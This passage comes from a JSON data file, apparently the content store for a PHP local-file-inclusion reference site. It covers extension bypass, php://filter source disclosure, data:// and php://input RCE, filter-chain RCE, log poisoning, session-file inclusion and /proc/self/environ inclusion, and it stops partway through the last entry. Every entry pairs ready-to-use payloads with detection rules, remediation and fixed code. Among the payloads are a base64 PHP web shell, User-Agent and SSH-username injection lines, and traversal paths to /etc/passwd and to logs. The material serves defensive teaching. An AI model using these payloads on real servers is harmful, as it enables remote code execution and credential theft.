          "question": "How is truncation different from the null byte trick?",
          "answer": "Both drop an appended extension, but the null byte terminates the C string at %00, while truncation relies on the OS/PHP discarding path length beyond a limit. Truncation was the fallback after %00 was patched, and it too fails on modern runtimes."
        }
      ]
    },
    {
      "slug": "extension-filter-bypass",
      "name": "Extension bypass",
      "title": "LFI Extension Bypass Payloads",
      "primaryQuery": "lfi extension bypass",
      "h1": "LFI extension bypass (dropping or satisfying an appended suffix)",
      "metaDescription": "LFI extension bypass payloads defeat an appended suffix with query/fragment tricks, path parameters and wrappers, with when each works, detection, and the fix.",
      "summary": "An LFI extension bypass defeats a control that appends a fixed suffix (such as '.php') or allows only certain extensions. Modern bypasses that do not rely on legacy truncation include treating the suffix as a query string or fragment (?/#), the path-parameter (;) trick on some servers, or routing through a PHP wrapper that ignores the extension entirely.",
      "tagline": "Make an appended extension harmless with ?, #, ; or a wrapper.",
      "targetOS": [
        "linux",
        "windows"
      ],
      "bypassClasses": [
        "extension"
      ],
      "impact": [
        "file-read",
        "source-disclosure",
        "info-disclosure"
      ],
      "howItWorks": [
        "If the app does include($_GET['page'] . '.php'), the appended .php normally forces a fixed file type. On modern runtimes the null-byte and truncation tricks are gone, so attackers make the suffix irrelevant instead of removing it.",
        "When the value is fetched over a URL-aware wrapper, a ? turns the appended text into a query string: php://filter/.../resource=/etc/passwd? means the trailing .php is treated as part of the query and ignored by the underlying read. On remote fetches, ? and # similarly strip the suffix from the effective path.",
        "Other routes: the ;/ path-parameter trick on servers that honour it, and simply choosing a target that legitimately ends in the required extension (reading another .php file for source disclosure via php://filter). The right bypass depends on how the value is consumed."
      ],
      "whenItWorks": [
        "The value is consumed by a URL/stream-aware function so ? or # can delimit the suffix.",
        "A PHP wrapper (php://filter, data://) is reachable, making the on-disk extension irrelevant.",
        "The server honours path parameters (;), or the required extension matches a file the attacker wants anyway."
      ],
      "whenItFails": [
        "A plain local file open that treats the whole string, including ?/#, as the literal filename.",
        "allow_url_include/wrappers are disabled and only a literal path is used.",
        "Input is resolved through an allowlist of keys, so the appended suffix is never attacker-reachable."
      ],
      "payloads": [
        {
          "id": "ext-query-truncate",
          "payload": "php://filter/convert.base64-encode/resource=/etc/passwd?",
          "explanation": "A trailing ? makes an appended '.php' part of the query string, so the wrapper reads /etc/passwd and the suffix is ignored.",
          "targetOS": "any",
          "bypassClass": "extension",
          "notes": "Combine with php://filter to also bypass PHP execution of the target."
        },
        {
          "id": "ext-fragment",
          "payload": "../../../../etc/passwd#",
          "explanation": "On URL-based fetches a # fragment delimiter drops everything after it, including an appended extension.",
          "targetOS": "any",
          "bypassClass": "extension"
        },
        {
          "id": "ext-path-param",
          "payload": "../../../../etc/passwd;.php",
          "explanation": "On servers that treat ; as a path-parameter delimiter, the real path ends at ; and the appended extension lands in the parameter.",
          "targetOS": "any",
          "bypassClass": "extension"
        },
        {
          "id": "ext-source-disclosure",
          "payload": "php://filter/convert.base64-encode/resource=config",
          "explanation": "When the app appends .php, pointing the filter at a page key reads that PHP file's source as base64 instead of executing it.",
          "targetOS": "any",
          "bypassClass": "wrapper"
        }
      ],
      "detection": {
        "logs": [
          "Filename parameters ending in ? , # , or ;.php where a clean name is expected.",
          "php:// , data:// or file:// schemes in a parameter that should be a page name.",
          "Reads of application source files (config, index) returned as base64 in responses."
        ],
        "code": [
          "Appending a fixed extension to user input as the only restriction on which file is opened.",
          "User input flowing into include/require or a URL-aware reader where ?/# can delimit the suffix.",
          "allow_url_include enabled, or wrappers reachable from a file parameter."
        ],
        "rule": "Flag file parameters that contain a scheme (php://, data://, file://) or end with ?, #, or ;.<ext>."
      },
      "remediation": [
        "Do not treat an appended extension as a security boundary. Validate the request against an allowlist of keys that map to fixed, known files.",
        "Disable dangerous wrappers and allow_url_include; if includes must be dynamic, restrict the stream wrappers that are permitted.",
        "Reject input containing URL schemes, ?, #, ; or path separators when a bare filename is expected.",
        "Canonicalize the final path and verify the prefix and the exact expected extension on the resolved path, not on the raw input."
      ],
      "codeFix": {
        "lang": "php",
        "caption": "An allowlist of keys removes the appended-extension gamble entirely.",
        "vulnerable": "include('/var/www/pages/' . $_GET['page'] . '.php');",
        "fixed": "$allowed = ['home', 'about', 'contact'];\n$page = (string) ($_GET['page'] ?? '');\nif (!in_array($page, $allowed, true)) {\n    http_response_code(404); exit('Not found');\n}\ninclude __DIR__ . '/pages/' . $page . '.php';"
      },
      "related": [
        "null-byte-injection",
        "path-truncation",
        "php-filter-wrapper",
        "php-wrapper-rce"
      ],
      "references": [
        {
          "title": "OWASP — Testing for Local File Inclusion",
          "url": "https://owasp.org/www-project-web-security-testing-guide/"
        },
        {
          "title": "PHP manual — Supported protocols and wrappers",
          "url": "https://www.php.net/manual/en/wrappers.php"
        }
      ],
      "faq": [
        {
          "question": "Why does a trailing ? bypass an appended .php?",
          "answer": "When the value is read through a URL/stream-aware function, the ? begins a query string. The effective resource is everything before the ?, so the appended .php becomes part of the ignored query rather than part of the filename."
        }
      ]
    },
    {
      "slug": "php-filter-wrapper",
      "name": "php://filter source read",
      "title": "php://filter Source Disclosure Payloads",
      "primaryQuery": "php filter wrapper source disclosure",
      "h1": "php://filter wrapper for source code disclosure",
      "metaDescription": "php://filter wrapper source disclosure payloads base64-encode PHP source so include returns code instead of running it, with detection and the code fix.",
      "summary": "The php://filter wrapper source disclosure technique turns an LFI into a source-code reader: by wrapping the target in php://filter/convert.base64-encode/resource=..., the file is base64-encoded before it reaches include, so PHP returns the raw source as text instead of executing it. It is the standard way to exfiltrate server-side PHP (config, credentials, logic) through a file-inclusion bug.",
      "tagline": "Base64-encode PHP source so include returns code, not output.",
      "targetOS": [
        "any"
      ],
      "bypassClasses": [
        "wrapper"
      ],
      "impact": [
        "source-disclosure",
        "info-disclosure"
      ],
      "howItWorks": [
        "If user input reaches include/require, pointing it at a .php file normally executes that file, revealing only its output — not its source. php:// is a PHP stream wrapper; php://filter applies conversion filters to a resource as it is read.",
        "convert.base64-encode transforms the file's bytes to base64 while reading. Because base64 is not valid PHP, include emits it as plain text rather than running it. The attacker base64-decodes the response offline to recover the exact source, including database passwords and API keys in config files.",
        "It reads any file the process can access, not just PHP, and chaining multiple filters (for example several iconv/convert steps) is the basis for the more advanced filter-chain RCE technique. For pure source disclosure, the base64 filter alone is enough."
      ],
      "whenItWorks": [
        "User input reaches include/require/file functions and the php:// wrapper is enabled (default unless restricted).",
        "The target file is readable by the web-server user.",
        "allow_url_include is not required — php://filter works on local resources regardless."
      ],
      "whenItFails": [
        "php:// (or convert.* filters) are disabled via disable_functions / stream wrapper restrictions.",
        "Input is resolved through an allowlist so no wrapper string reaches the file call.",
        "open_basedir confines reads away from the target file."
      ],
      "payloads": [
        {
          "id": "pfw-base64-index",
          "payload": "php://filter/convert.base64-encode/resource=index.php",
          "explanation": "Base64-encodes index.php so its source is returned instead of executed; decode offline to read the code.",
          "targetOS": "any",
          "bypassClass": "wrapper"
        },
        {
          "id": "pfw-base64-config",
          "payload": "php://filter/convert.base64-encode/resource=../config/database.php",
          "explanation": "Reads an application config file's source, typically exposing database credentials and secret keys.",
          "targetOS": "any",
          "bypassClass": "wrapper"
        },
        {
          "id": "pfw-read-string",
          "payload": "php://filter/read=convert.base64-encode/resource=/etc/passwd",
          "explanation": "The explicit read= form of the filter; also works on non-PHP files such as /etc/passwd.",
          "targetOS": "linux",
          "bypassClass": "wrapper"
        },
        {
          "id": "pfw-rot13",
          "payload": "php://filter/read=string.rot13/resource=index.php",
          "explanation": "ROT13 is a lighter obfuscation that likewise prevents execution; useful when base64 is filtered.",
          "targetOS": "any",
          "bypassClass": "wrapper"
        }
      ],
      "detection": {
        "logs": [
          "php://filter , convert.base64-encode , or read= strings in request parameters.",
          "Responses containing long base64 blobs returned from a page/file parameter.",
          "resource= pointing at source files (index.php, config, wp-config.php)."
        ],
        "code": [
          "User input reaching include/require/file_get_contents without wrapper restrictions.",
          "No allowlist between the request and the included path.",
          "php.ini leaving allow_url_include/wrappers permissive for include contexts."
        ],
        "rule": "Match php://filter and convert\\.base64-encode in parameters; alert on outbound responses that are large base64 strings from a file endpoint."
      },
      "remediation": [
        "Resolve the request through an allowlist of keys to fixed includes; never pass user input to include/require.",
        "Restrict stream wrappers: where dynamic includes are unavoidable, disallow the php:// wrapper for those code paths and keep allow_url_include off.",
        "Reject any input containing a URL scheme (php://, data://, phar://, file://).",
        "Store secrets outside the web root and outside readable config files (environment/secret manager) so a source read yields no credentials."
      ],
      "codeFix": {
        "lang": "php",
        "caption": "Mapping keys to fixed includes means a php://filter string can never reach include.",
        "vulnerable": "include($_GET['page']); // php://filter/.../resource=config.php",
        "fixed": "$pages = ['home' => 'home.php', 'about' => 'about.php'];\n$key = (string) ($_GET['page'] ?? 'home');\nif (!isset($pages[$key])) { http_response_code(404); exit; }\ninclude __DIR__ . '/pages/' . $pages[$key];"
      },
      "related": [
        "php-wrapper-rce",
        "php-filter-chain-rce",
        "extension-filter-bypass",
        "basic-path-traversal"
      ],
      "references": [
        {
          "title": "PHP manual — php:// wrappers",
          "url": "https://www.php.net/manual/en/wrappers.php.php"
        },
        {
          "title": "PHP manual — Filters (convert.base64-encode)",
          "url": "https://www.php.net/manual/en/filters.convert.php"
        }
      ],
      "faq": [
        {
          "question": "Why does php://filter return source instead of running the file?",
          "answer": "The convert.base64-encode filter encodes the file as it is read. Base64 text is not valid PHP, so include outputs it verbatim rather than executing it. Decoding the response reveals the original source."
        },
        {
          "question": "Does it only work on PHP files?",
          "answer": "No. It reads any file the process can access — /etc/passwd, logs, keys — but it is most valuable against PHP source because that is what you otherwise cannot read."
        }
      ]
    },
    {
      "slug": "php-wrapper-rce",
      "name": "php:// & data:// RCE",
      "title": "LFI to RCE via PHP Wrappers (data://, php://input)",
      "primaryQuery": "lfi to rce php wrappers",
      "h1": "LFI to RCE via PHP wrappers (data://, php://input, expect://)",
      "metaDescription": "LFI to RCE via PHP wrappers: data://, php://input and expect:// deliver attacker PHP to include for code execution, with when it works, detection, and the fix.",
      "summary": "LFI to RCE via PHP wrappers uses stream wrappers that supply attacker-controlled content directly to include — data:// embeds PHP in the URL, php://input feeds the raw POST body, and expect:// runs a shell command — turning a file-inclusion bug into remote code execution without needing a file on disk. It depends on allow_url_include (or the expect extension) being enabled.",
      "tagline": "Feed PHP to include via data://, php://input, or expect://.",
      "targetOS": [
        "any"
      ],
      "bypassClasses": [
        "wrapper",
        "remote"
      ],
      "impact": [
        "rce"
      ],
      "howItWorks": [
        "include executes whatever PHP it is handed. If an attacker can make include read content they control, they achieve code execution. Several wrappers provide exactly that content channel.",
        "data:// embeds the payload in the URI itself (text/plain or base64), so include('data://text/plain;base64,<PHP>') runs that PHP. php://input exposes the raw request body, so include('php://input') executes PHP posted in the body. Both require allow_url_include=On.",
        "expect:// (from the PECL expect extension, rarely installed) executes a shell command directly, e.g. expect://id. Because these deliver code rather than selecting a file, they are the most direct LFI-to-RCE path when the configuration allows them."
      ],
      "whenItWorks": [
        "User input reaches include/require and allow_url_include=On (required for data:// and php://input in include context).",
        "For expect://, the expect PECL extension is installed and enabled.",
        "No allowlist constrains which wrapper/resource the include receives."
      ],
      "whenItFails": [
        "allow_url_include=Off (the common default) — data:// and php://input cannot be included.",
        "The php:// / data:// wrappers are disabled, or input is allowlisted to fixed includes.",
        "expect extension not installed (almost always the case)."
      ],
      "payloads": [
        {
          "id": "pwr-data-base64",
          "payload": "data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+",
          "explanation": "data:// with a base64 PHP web shell (<?php system($_GET['c']);?>); include runs it, then ?c=id executes commands. Requires allow_url_include=On.",
          "targetOS": "any",
          "bypassClass": "wrapper"
        },
        {
          "id": "pwr-data-plain",
          "payload": "data://text/plain,<?php system('id');?>",
          "explanation": "Plain-text data:// variant running a single command inline; simplest proof of code execution.",
          "targetOS": "any",
          "bypassClass": "wrapper"
        },
        {
          "id": "pwr-php-input",
          "payload": "php://input",
          "explanation": "Points include at the raw POST body; send <?php system('id');?> as the body to execute it. Requires allow_url_include=On.",
          "targetOS": "any",
          "bypassClass": "wrapper",
          "notes": "Deliver the PHP in the request body, not the URL."
        },
        {
          "id": "pwr-expect",
          "payload": "expect://id",
          "explanation": "Runs a shell command directly via the expect wrapper — only works where the PECL expect extension is installed.",
          "targetOS": "linux",
          "bypassClass": "wrapper"
        }
      ],
      "detection": {
        "logs": [
          "data:// , php://input , or expect:// in request parameters.",
          "POST requests to a file/page parameter whose body contains <?php or shell commands.",
          "Base64 blobs in a page parameter that decode to PHP tags."
        ],
        "code": [
          "User input reaching include/require with allow_url_include enabled.",
          "No allowlist between the request and the include target.",
          "expect extension present in the PHP build."
        ],
        "rule": "Alert on data://, php://input, expect:// in parameters and on request bodies containing <?php reaching an include endpoint."
      },
      "remediation": [
        "Set allow_url_include=Off and allow_url_fopen=Off unless a specific, reviewed feature needs them — this alone blocks data:// and php://input includes.",
        "Never pass user input to include/require; resolve a key through an allowlist to a fixed local file.",
        "Reject input containing any URL scheme (data://, php://, expect://, phar://, file://).",
        "Do not install the expect extension on web hosts; keep disable_functions and least-privilege execution in place to limit blast radius."
      ],
      "codeFix": {
        "lang": "php",
        "caption": "An allowlist plus allow_url_include=Off removes every wrapper-based RCE path.",
        "vulnerable": "include($_GET['page']); // data://..., php://input",
        "fixed": "// php.ini: allow_url_include=Off, allow_url_fopen=Off\n$pages = ['home' => 'home.php', 'help' => 'help.php'];\n$key = (string) ($_GET['page'] ?? 'home');\nif (!isset($pages[$key])) { http_response_code(404); exit; }\ninclude __DIR__ . '/pages/' . $pages[$key];"
      },
      "related": [
        "php-filter-wrapper",
        "php-filter-chain-rce",
        "log-poisoning",
        "remote-file-inclusion"
      ],
      "references": [
        {
          "title": "PHP manual — data:// wrapper",
          "url": "https://www.php.net/manual/en/wrappers.data.php"
        },
        {
          "title": "PHP manual — allow_url_include",
          "url": "https://www.php.net/manual/en/filesystem.configuration.php"
        }
      ],
      "faq": [
        {
          "question": "Why do data:// and php://input need allow_url_include?",
          "answer": "In an include/require context, PHP only treats URL-style wrappers as includable sources when allow_url_include is On. With it Off (the default), these wrappers cannot be executed through include, which neutralises the technique."
        }
      ]
    },
    {
      "slug": "php-filter-chain-rce",
      "name": "PHP filter chain RCE",
      "title": "PHP Filter Chain RCE Payloads (LFI2RCE)",
      "primaryQuery": "php filter chain rce",
      "h1": "PHP filter chain RCE (code execution with no writable file)",
      "metaDescription": "PHP filter chain RCE payloads abuse chained iconv conversions in php://filter to build PHP in memory, giving LFI-to-RCE with no file on disk, plus the fix.",
      "summary": "PHP filter chain RCE abuses php://filter's ability to apply many conversion filters in sequence: by chaining iconv character-set conversions, an attacker makes the wrapper generate arbitrary bytes — a full PHP payload — entirely in memory, so include executes it with no writable file or log needed. It is the modern, config-light path from LFI to remote code execution.",
      "tagline": "Chain iconv filters so php://filter emits a PHP payload in memory.",
      "targetOS": [
        "any"
      ],
      "bypassClasses": [
        "wrapper"
      ],
      "impact": [
        "rce"
      ],
      "howItWorks": [
        "php://filter can apply a list of filters to a resource. Certain iconv conversions both transform and prepend predictable bytes. By stacking hundreds of carefully ordered conversions, the output can be coerced to begin with attacker-chosen bytes.",
        "A tool (the public php_filter_chain_generator) computes the exact sequence of convert.iconv.* steps that, applied to a trivial base resource, produce a chosen string such as <?php system($_GET[0]);?>. include then executes that generated content.",
        "The key advantage over log poisoning or session inclusion: it needs no file the attacker can write, no known path, and no allow_url_include — only that user input reaches include/require and the iconv filters are available. The payloads are very long chains of convert.iconv.XXX.YYY steps."
      ],
      "whenItWorks": [
        "User input reaches include/require and the php://filter wrapper with convert.iconv.* filters is available.",
        "iconv support is compiled in (the common default).",
        "No allowlist constrains the include target."
      ],
      "whenItFails": [
        "The php:// wrapper or convert.iconv filters are disabled.",
        "Input is resolved through an allowlist so no filter string reaches include.",
        "iconv is unavailable, or the include context is tightly sandboxed."
      ],
      "payloads": [
        {
          "id": "pfc-chain-skeleton",
          "payload": "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|…/resource=php://temp",
          "explanation": "Shape of a filter chain: dozens-to-hundreds of convert.iconv.* steps feeding a base resource. The full chain is machine-generated to emit a chosen PHP string.",
          "targetOS": "any",
          "bypassClass": "wrapper",
          "notes": "Generate the complete chain with the public php_filter_chain_generator against your authorized target; it is too long to list verbatim."
        },
        {
          "id": "pfc-base-resource",
          "payload": "resource=php://temp",
          "explanation": "The trivial base resource the chain operates on; the generated iconv steps build the payload bytes from it.",
          "targetOS": "any",
          "bypassClass": "wrapper"
        },
        {
          "id": "pfc-target-string",
          "payload": "<?php system($_GET[0]);?>",
          "explanation": "The PHP string a chain is typically built to produce; once include runs it, ?0=id executes commands.",
          "targetOS": "any",
          "bypassClass": "wrapper"
        }
      ],
      "detection": {
        "logs": [
          "Very long php://filter parameters containing many convert.iconv.* segments separated by |.",
          "resource=php://temp or resource=data:// at the end of a long filter chain.",
          "Unusually large request URLs/parameters directed at a page/file endpoint."
        ],
        "code": [
          "User input reaching include/require at all — the precondition for the whole class.",
          "No allowlist between the request and the included path.",
          "php://filter reachable for include contexts with iconv filters enabled."
        ],
        "rule": "Alert on php://filter parameters containing multiple convert.iconv. segments or exceeding a length threshold; the filter-chain signature is distinctive."
      },
      "remediation": [
        "Never pass user input to include/require; map a request key through an allowlist to a fixed local file. This defeats filter chains along with every other wrapper trick.",
        "Disable the php:// wrapper (or at least convert.iconv/convert.* filters) for code paths that must take dynamic input.",
        "Reject any input containing a URL scheme or the pipe character used to chain filters.",
        "Keep least-privilege execution and disable_functions so that even successful code execution is contained."
      ],
      "codeFix": {
        "lang": "php",
        "caption": "Because the chain must reach include, an allowlist that never passes user input to include removes it.",
        "vulnerable": "include($_GET['page']); // php://filter/convert.iconv...|...",
        "fixed": "$pages = ['home' => 'home.php', 'blog' => 'blog.php'];\n$key = (string) ($_GET['page'] ?? 'home');\nif (!isset($pages[$key])) { http_response_code(404); exit; }\ninclude __DIR__ . '/pages/' . $pages[$key];"
      },
      "related": [
        "php-filter-wrapper",
        "php-wrapper-rce",
        "log-poisoning",
        "session-file-inclusion"
      ],
      "references": [
        {
          "title": "PHP manual — php:// filters",
          "url": "https://www.php.net/manual/en/wrappers.php.php"
        },
        {
          "title": "PHP manual — convert.iconv filters",
          "url": "https://www.php.net/manual/en/filters.convert.php"
        }
      ],
      "faq": [
        {
          "question": "Why is filter-chain RCE so powerful compared with log poisoning?",
          "answer": "It needs no writable file, no known file path, and not even allow_url_include — only that user input reaches include and iconv filters exist. The payload is generated entirely in memory by the conversion chain."
        }
      ]
    },
    {
      "slug": "log-poisoning",
      "name": "Log poisoning",
      "title": "LFI Log Poisoning to RCE Payloads",
      "primaryQuery": "lfi log poisoning rce",
      "h1": "LFI log poisoning to RCE (including a poisoned log file)",
      "metaDescription": "LFI log poisoning to RCE: write PHP into a server log via a controllable field, then include the log so it executes, with when it works, detection, and the fix.",
      "summary": "LFI log poisoning to RCE works in two steps: first write PHP into a file the server logs to — typically the Apache/Nginx access log via a crafted User-Agent, or auth.log via an SSH username — then use the file-inclusion bug to include that log so the injected PHP executes. It is the classic LFI-to-RCE path when wrappers are disabled but a log file is both readable and attacker-influenced.",
      "tagline": "Inject PHP into a log via User-Agent, then include the log.",
      "targetOS": [
        "linux",
        "windows"
      ],
      "bypassClasses": [
        "none"
      ],
      "impact": [
        "rce"
      ],
      "howItWorks": [
        "Web and system services record attacker-controlled fields verbatim. The access log stores the request's User-Agent and URL; auth.log stores the SSH username on a failed login; the mail log stores addresses. If any such field contains PHP, that PHP ends up on disk inside a log the web-server user can read.",
        "Step one: send a request (or SSH/mail attempt) whose controllable field is <?php system($_GET['c']); ?>. The service writes it into its log file.",
        "Step two: use the LFI to include the log path (e.g. /var/log/apache2/access.log). include runs the file as PHP, executing the injected code; appending ?c=id then runs commands. Success depends on the log path being known and readable and on the field surviving un-sanitised."
      ],
      "whenItWorks": [
        "User input reaches include/require and a log file is readable by the web-server user.",
        "An attacker-controlled field (User-Agent, URL, SSH username) is logged without encoding.",
        "The log path is known or guessable (default Apache/Nginx/syslog locations)."
      ],
      "whenItFails": [
        "Logs are outside the process's read scope (open_basedir, permissions, separate log user).",
        "Input is allowlisted so the log path can never be included.",
        "The target file is read, not executed (e.g. non-PHP include context), so injected PHP is inert."
      ],
      "payloads": [
        {
          "id": "lp-ua-payload",
          "payload": "User-Agent: <?php system($_GET['c']); ?>",
          "explanation": "Sent as the User-Agent header so the web server writes the PHP into its access log; set this header, then include the log.",
          "targetOS": "linux",
          "bypassClass": "none",
          "notes": "This is the injection step (a header), not the include parameter."
        },
        {
          "id": "lp-include-apache",
          "payload": "../../../../var/log/apache2/access.log",
          "explanation": "Includes the Apache access log so previously injected PHP executes; add ?c=id to run commands.",
          "targetOS": "linux",
          "bypassClass": "none"
        },
        {
          "id": "lp-include-nginx",
          "payload": "../../../../var/log/nginx/access.log",
          "explanation": "Nginx default access-log path for the same two-step attack on Nginx hosts.",
          "targetOS": "linux",
          "bypassClass": "none"
        },
        {
          "id": "lp-include-authlog",
          "payload": "../../../../var/log/auth.log",
          "explanation": "After an SSH login attempt with a PHP-laden username, including auth.log executes the injected code.",
          "targetOS": "linux",
          "bypassClass": "none",
          "notes": "Inject via: ssh '<?php system($_GET[0]);?>'@target"
        }
      ],
      "detection": {
        "logs": [
          "Log entries whose fields contain <?php , <? , or <script — PHP/markup in a User-Agent, URL, or username.",
          "Inclusion of log paths in file parameters: access.log, error.log, auth.log, vsftpd.log, mail.log.",
          "An include of a log file immediately followed by requests adding a command parameter (?c=, ?0=)."
        ],
        "code": [
          "User input reaching include/require with readable log files in scope.",
          "No allowlist between the request and the include target.",
          "Service configuration that logs raw, unencoded request fields (normal) combined with includable logs (the real bug)."
        ],
        "rule": "Correlate (a) log lines containing <?php with (b) subsequent requests that include a *.log path; either alone is weaker, together it is high-confidence."
      },
      "remediation": [
        "Fix the inclusion: never pass user input to include/require; use an allowlist of keys to fixed local files. This closes log poisoning and every other LFI-to-RCE path.",
        "Ensure the web application cannot read system/service logs — separate log ownership, restrictive permissions, open_basedir, and chroot/containers.",
        "Keep allow_url_include off and dangerous wrappers disabled so attackers cannot fall back to other RCE routes.",
        "Run the app as a low-privilege user with disable_functions set, limiting what injected code can do even if execution occurs."
      ],
      "codeFix": {
        "lang": "php",
        "caption": "If user input never reaches include, a poisoned log can never be executed.",
        "vulnerable": "include($_GET['page']); // ../../var/log/apache2/access.log",
        "fixed": "$pages = ['home' => 'home.php', 'news' => 'news.php'];\n$key = (string) ($_GET['page'] ?? 'home');\nif (!isset($pages[$key])) { http_response_code(404); exit; }\ninclude __DIR__ . '/pages/' . $pages[$key];"
      },
      "related": [
        "session-file-inclusion",
        "proc-environ-inclusion",
        "php-wrapper-rce",
        "php-filter-chain-rce"
      ],
      "references": [
        {
          "title": "OWASP — Testing for Local File Inclusion",
          "url": "https://owasp.org/www-project-web-security-testing-guide/"
        },
        {
          "title": "PHP manual — include and executed content",
          "url": "https://www.php.net/manual/en/function.include.php"
        }
      ],
      "faq": [
        {
          "question": "Why does including a log file run code?",
          "answer": "PHP include executes any PHP tags in the file it reads. A log that contains an attacker's <?php ... ?> (written there via a logged field) is executed just like a script when it is included."
        }
      ]
    },
    {
      "slug": "session-file-inclusion",
      "name": "Session / upload inclusion",
      "title": "LFI via PHP Session & Upload Files",
      "primaryQuery": "lfi php session file inclusion",
      "h1": "LFI via PHP session files and uploaded temp files",
      "metaDescription": "LFI via PHP session file inclusion: write PHP into a session or uploaded temp file, then include it for RCE, with paths, when it works, detection, and the fix.",
      "summary": "LFI via PHP session file inclusion turns a file-inclusion bug into RCE by writing attacker PHP into a file the server creates — a session file under /tmp/sess_<id> (via a reflected session value) or an uploaded temporary file — then including that path so the PHP executes. Like log poisoning, it needs no wrappers, only a readable server-created file whose contents the attacker influences.",
      "tagline": "Plant PHP in a session file (/tmp/sess_<id>), then include it.",
      "targetOS": [
        "linux"
      ],
      "bypassClasses": [
        "none"
      ],
      "impact": [
        "rce"
      ],
      "howItWorks": [
        "PHP's default session handler stores each session on disk at /tmp/sess_<SESSIONID> (the id comes from the PHPSESSID cookie the attacker already holds). If any user-controlled value is stored in the session, its serialized form lands in that file.",
        "The attacker makes the app store <?php system($_GET['c']); ?> in a session variable (for example a username or preference that is reflected into $_SESSION), then uses the LFI to include /tmp/sess_<their id>. include executes the embedded PHP.",
        "A related variant abuses file uploads: PHP writes each upload to a temporary path (e.g. /tmp/phpXXXXXX) for the duration of the request. With a race or an info leak of the temp name (sometimes via a PHP_SESSION_UPLOAD_PROGRESS trick that creates a predictable session file), the attacker includes the uploaded content as PHP."
      ],
      "whenItWorks": [
        "User input reaches include/require and the session/upload temp directory (/tmp) is readable.",
        "A user-controlled value is persisted into the session (so it reaches the sess_ file).",
        "The PHPSESSID is known to the attacker (their own cookie), making the session path predictable."
      ],
      "whenItFails": [
        "Sessions are stored outside the filesystem (Redis/DB) or outside readable scope.",
        "Input is allowlisted so the session/temp path can never be included.",
        "open_basedir / separate tmp confinement blocks reading /tmp session files."
      ],
      "payloads": [
        {
          "id": "sfi-include-session",
          "payload": "../../../../tmp/sess_<PHPSESSID>",
          "explanation": "Includes the attacker's own session file after a PHP payload has been stored in it; replace <PHPSESSID> with the value of your session cookie.",
          "targetOS": "linux",
          "bypassClass": "none"
        },
        {
          "id": "sfi-session-value",
          "payload": "<?php system($_GET['c']); ?>",
          "explanation": "The PHP to get persisted into a session variable (e.g. a reflected username/theme) so it ends up inside /tmp/sess_<id>.",
          "targetOS": "linux",
          "bypassClass": "none",
          "notes": "Injection step: set this as the value the app stores in $_SESSION."
        },
        {
          "id": "sfi-upload-progress",
          "payload": "../../../../tmp/sess_<PHPSESSID>",
          "explanation": "With session.upload_progress enabled, uploading while setting the progress name writes attacker content to a predictable sess_ file to include.",
          "targetOS": "linux",
          "bypassClass": "none"
        },
        {
          "id": "sfi-include-upload-tmp",
          "payload": "../../../../tmp/phpXXXXXX",
          "explanation": "Includes a PHP upload temp file (name must be leaked or won by race); the uploaded body is executed as PHP.",
          "targetOS": "linux",
          "bypassClass": "none"
        }
      ],
      "detection": {
        "logs": [
          "Inclusion of /tmp/sess_* or /tmp/php* paths in file parameters.",
          "Session values or upload fields containing <?php or shell commands.",
          "A burst of requests setting a session value then immediately including a sess_ path."
        ],
        "code": [
          "User input reaching include/require with default file-based sessions on a readable /tmp.",
          "User-controlled data persisted verbatim into $_SESSION.",
          "session.upload_progress enabled together with an includable session directory."
        ],
        "rule": "Alert on include targets matching /tmp/(sess_|php) and on session/upload content containing PHP tags."
      },
      "remediation": [
        "Never pass user input to include/require; resolve a key through an allowlist to fixed local files.",
        "Store sessions outside the filesystem (Redis, database) or in a directory the web process cannot include, and keep /tmp out of read scope via open_basedir.",
        "Do not persist raw user input into the session; validate and encode what you store.",
        "Disable session.upload_progress if unused, and run with least privilege + disable_functions to contain any execution."
      ],
      "codeFix": {
        "lang": "php",
        "caption": "Allowlisted includes mean a poisoned session or upload file is never executed.",
        "vulnerable": "include($_GET['page']); // ../../tmp/sess_<id>",
        "fixed": "$pages = ['home' => 'home.php', 'account' => 'account.php'];\n$key = (string) ($_GET['page'] ?? 'home');\nif (!isset($pages[$key])) { http_response_code(404); exit; }\ninclude __DIR__ . '/pages/' . $pages[$key];"
      },
      "related": [
        "log-poisoning",
        "proc-environ-inclusion",
        "php-wrapper-rce",
        "basic-path-traversal"
      ],
      "references": [
        {
          "title": "PHP manual — Session handling & save path",
          "url": "https://www.php.net/manual/en/session.configuration.php"
        },
        {
          "title": "PHP manual — session.upload_progress",
          "url": "https://www.php.net/manual/en/session.upload-progress.php"
        }
      ],
      "faq": [
        {
          "question": "How does the attacker know which session file to include?",
          "answer": "The session file name is sess_ followed by the PHPSESSID value, which the attacker already has in their own session cookie — so /tmp/sess_<theirid> is fully predictable."
        }
      ]
    },
    {
      "slug": "proc-environ-inclusion",
      "name": "/proc inclusion",
      "title": "LFI via /proc/self/environ Payloads",
      "primaryQuery": "lfi proc self environ",
      "h1": "LFI via /proc/self/environ and other /proc entries",
      "metaDescription": "LFI via /proc/self/environ payloads inject PHP through the User-Agent into the process environment, then include /proc to execute it, plus detection and fix.",
      "summary": "LFI via /proc/self/environ abuses the Linux proc filesystem, where /proc/self/environ exposes the including process's environment — including the attacker-controlled User-Agent on many CGI setups. Injecting PHP into that header and then including /proc/self/environ executes it; other /proc entries (cmdline, fd, status) leak information useful for escalation. It needs only a readable /proc and an LFI.",
      "tagline": "Smuggle PHP via User-Agent into /proc/self/environ, then include it.",
      "targetOS": [
        "linux"
      ],
      "bypassClasses": [
        "none"
      ],
      "impact": [
        "rce",
        "info-disclosure"
      ],
      "howItWorks": [
        "On Linux, /proc/self/ reflects the process doing the reading. /proc/self/environ lists that process's environment variables as NUL-separated KEY=value pairs.",
        "In CGI/FastCGI configurations the request's User-Agent is placed into the HTTP_USER_AGENT environment variable. An attacker sends <?php system($_GET['c']); ?> as the User-Agent, then includes /proc/self/environ; the included content contains the PHP, which executes. This mirrors log poisoning but uses the environment instead of a log file.",
        "Even without execution, /proc is an information-disclosure goldmine: /proc/self/cmdline reveals how the app was launched (and secrets passed as arguments), /proc/self/status and /proc/self/maps expose runtime details, and /proc/<pid>/fd/<n> can read open files including deleted ones. These aid further exploitation."
      ],
      "whenItWorks": [
        "A Linux target with a readable /proc and user input reaching include/require.",
        "For RCE: a CGI/FastCGI setup that puts the User-Agent into the process environment (modern php-fpm often does not).",
        "The web-server user can read /proc/self/* (usually true for its own process)."
      ],
      "whenItFails": [
        "Non-Linux targets, or hardened hosts where /proc is restricted (hidepid) / out of read scope.",
